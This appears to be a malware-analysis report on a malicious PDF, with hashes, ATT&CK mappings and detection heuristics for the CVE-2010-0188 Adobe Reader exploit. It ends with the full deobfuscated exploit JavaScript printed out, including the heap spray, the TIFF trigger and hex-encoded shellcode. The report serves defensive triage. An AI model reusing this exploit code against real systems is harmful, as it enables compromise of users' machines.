Malicious PDF — malware analysis report

Static analysis result for SHA-256 3a7a24ed7f149456…

MALICIOUS

PDF

12.0 KB First seen: 2012-10-18
MD5: 7ea408a179cd04bc8f91233a69d1af58 SHA-1: 6576f0ce8e1ff5359e753fde3ccabf15a4ef2ea5 SHA-256: 3a7a24ed7f149456217375917a7874659b8e98d6a3d331f098d304c27ada2ca3
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains embedded content and an embedded script payload, indicating an attempt to exploit vulnerabilities. The presence of XFA form elements and embedded URLs further supports this. The embedded script likely aims to download and execute a second-stage payload, although its exact function is obscured by the PDF structure.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Adobe Reader LibTIFF XFA image exploit — CVE-2010-0188 critical CVE likely CVE_2010_0188
    PDF contains the CVE-2010-0188 exploit template: XFA JavaScript heap-spray setup, a generated TIFF image payload, and assignment of that TIFF data to an XFA image field rawValue to trigger Adobe Reader's LibTIFF parser.
  • XFA numeric JavaScript stager high PDF_XFA_NUMERIC_JS_STAGER
    PDF XFA script reconstructs a hidden JavaScript stage from numeric field data or a character table, then evals the result. The decoder is gated on XFA script, numeric staging, and recovered exploit-like JavaScript or shellcode markers.
  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • Embedded script payload in PDF stream info PDF_EMBEDDED_SCRIPT_PAYLOAD
    PDF stream bytes contain an HTML/XFA <script> tag without accompanying Windows shell-execution primitives — common in accessible XFA forms but worth surfacing for analyst review.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xdp/ In PDF document text
    • http://www.xfa.org/schema/xfa-template/2.5/In PDF document text
    • http://www.xfa.org/schema/xfa-data/1.0/In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0008.bin pdf-embedded-file PDF EmbeddedFile object 8 at offset 0xC6 11611 bytes
SHA-256: 4e78e0441d2e349c3fcff9ff68111807c71c06ffdd71ee43d9c99918cfba1156
xfa_numeric_stage_000.js deobfuscated-js XFA caret-number decoded JavaScript (raw) at offset 0x4C0 3422 bytes
SHA-256: de375d08f4dfdb3177c69ced557ea840f26b34cc6dc3e05e039dd9d2537d5c2f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 3 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var _1l=[];function _2l(){var _3l=app.viewerVersion.toString();_3l=_3l.replace('.','');while(_3l.length<4){_3l+='0';}_3l=parseInt(_3l,10);return _3l;}function _4l(_5l,_6l){while(_5l.length*2<_6l){_5l+=_5l;}_5l=_5l.substring(0,_6l/2);return _5l;}function _7l(_8l){_8l=unescape(_8l);var _9l=_8l.length*2;var _1l0=unescape('%u9090');var _1l1=_4l(_1l0,0x2000-_9l);var _1l2=_8l+_1l1;_1l2=_4l(_1l2,0x80000-0x40);for(var _0=0;_0<0x190;_0++){_1l[_0]=_1l2.substr(0,_1l2.length-1)+_1l0;}return;}function _1l3(_5l,_6l){while(_5l.length<_6l){_5l+=_5l;}_5l=_5l.substring(0,_6l);return _5l;}function _1l4(_1l5){var _5l=_1l5.toString(16);var _6l=_5l.length;var _1l6=(_6l%2)?'0'+_5l:_5l;return _1l6;}function _1l7(_5l){var _1l6='';for(var _0=0;_0<_5l.length;_0+=2){_1l6+='%u';_1l6+=_1l4(_5l.charCodeAt(_0+1));_1l6+=_1l4(_5l.charCodeAt(_0));}return _1l6;}function _1l8(_1l9){var _1l6 ='';for(var _0=0;_0<_1l9.length;_0+=2){var _2l7=_1l9.substr(_0,2);var _1l5=parseInt(_2l7,16);_1l6+=String.fromCharCode(_1l5);}return _1l6;}_2l0();function _2l0(){var _3l=_2l();if(_3l>=0x1f40){var _2l1='SUkqADggAABB';var _2l2=_1l3('QUFB',0x2ae8);var _2l3='QQcAAAEDAAEAAAAwIAAAAQEDAAEAAAABAAAAAwEDAAEAAAABAAAABgEDAAEAAAABAAAAEQEEAAEAAAAIAAAAFwEEAAEAAAAwIAAAUAEDAMwAAACSIAAAAAAAAAAMDAj/////';var _2l4='';var _2l5='';if(_3l<0x2009){_2l4='o+uASjgggkpuL4BK/////wAAAABAAAAAAAAAAAAQAAAAAAAAfhaASiAgYA98EIBK';_2l5='4c20600f0517804a3c20600f0f63804aa3eb804a3020824a6e2f804a41414141260000000000000000000000000000001239804a6420600f000400004141414141414141b0839090eb16b9640100008b342489f7803ee97406ac3451aae2fac3e8e5ffffffb85d5051510fd0bd0d505151d8b6dc1e41dc3e05608a0600020202020202020402023955505151040702393e3f51513924233d3c0539df1f5fbdb91951515101b92d515151ae81d29559391ebe1e5401b93d515151ae81d49124463b0508a2fb3923afe247b94c51515101b900515151ae81023baf39d83e50ecb95951515101b96d515151ae8131609135da0161da035dda0345da2379e84951515160ae6091fd6d302d537d71909e5c5096b3a1d0ae0aed1b3bda1341da432488d815754d309231da3d7575da146dda05542950bbda1b49da0b7150bab26518da65da50bf60ae6091adfdd5912556909e5c5096baa56a2d757924b0da0b7550ba37da5d1ada0b4d50bada55da50b9d815754d30935951b9beafaeae392525216b7e7e68607f6068657f6360657f67677e353f366260606160607e32656533333268656765616533336464343460306466663365356262656468627e3560607f2139216e376c3d33375190';}else{_2l4='kB+ASjiQhEp9foBK/////wAAAABAAAAAAAAAAAAQAAAAAAAAYxCASiAgYA/fE4BK';_2l5='4c20600fa563804a3c20600f9621804a901f804a3090844a7d7e804a41414141260000000000000000000000000000007188804a6420600f000400004141414141414141b0839090eb16b9640100008b342489f7803ee97406ac34f4aae2fac3e8e5ffffff1df8f5f4f4aa7518a8f5f4f47d1379bbe4799ba0c52fa3a5a7a7a7a7a7a7a7a1a7a79cf0f5f4f4a1a2a79c9b9af4f49c81869899a09c7abafa181cbcf4f4f4a41c88f4f4f40b247730fc9cbb1bbbf1a41c98f4f4f40b24713481e39ea0ad075e9c860a47e21ce9f4f4f4a41ca5f4f4f40b24a79e0a9c7d9bf5491cfcf4f4f4a41cc8f4f4f40b2494c534907fa4c47fa6f87fa6e07f86dc4decf4f4f4c50bc53458c89588f6d8d4353bf9f5331604750baf48be9e7fb6e47fe6812d7db0d0e89537947f98d0d07fb1c87fa0f18cf51e7fbeec7faed4f51f17c0bd7fc07ff51ac50bc5340858703480f3353bf9f5331f00cf88d0dc81157faed0f51f927ff8bf7faee8f51f7ff07ff51c7db0d0e89536fcf41c1b0a0b0b9c808084cedbdbcdc5dac5cdc0dac6c5c0dac2c2db909a93c7c5c5c4c5c5db97c0c0969697cdc0c2c0c4c09696c1c19191c595c1c3c396c090c7c7c0c1cdc7db90c5c5da849c84cb92c9989692f490';}if(_2l4.length){var _1l6=[_2l1,_2l2,_2l3,_2l4].join('');var _2l6=_1l8(_2l5);var _8l=_1l7(_2l6);_7l(_8l);fromCh.rawValue=_1l6;}}}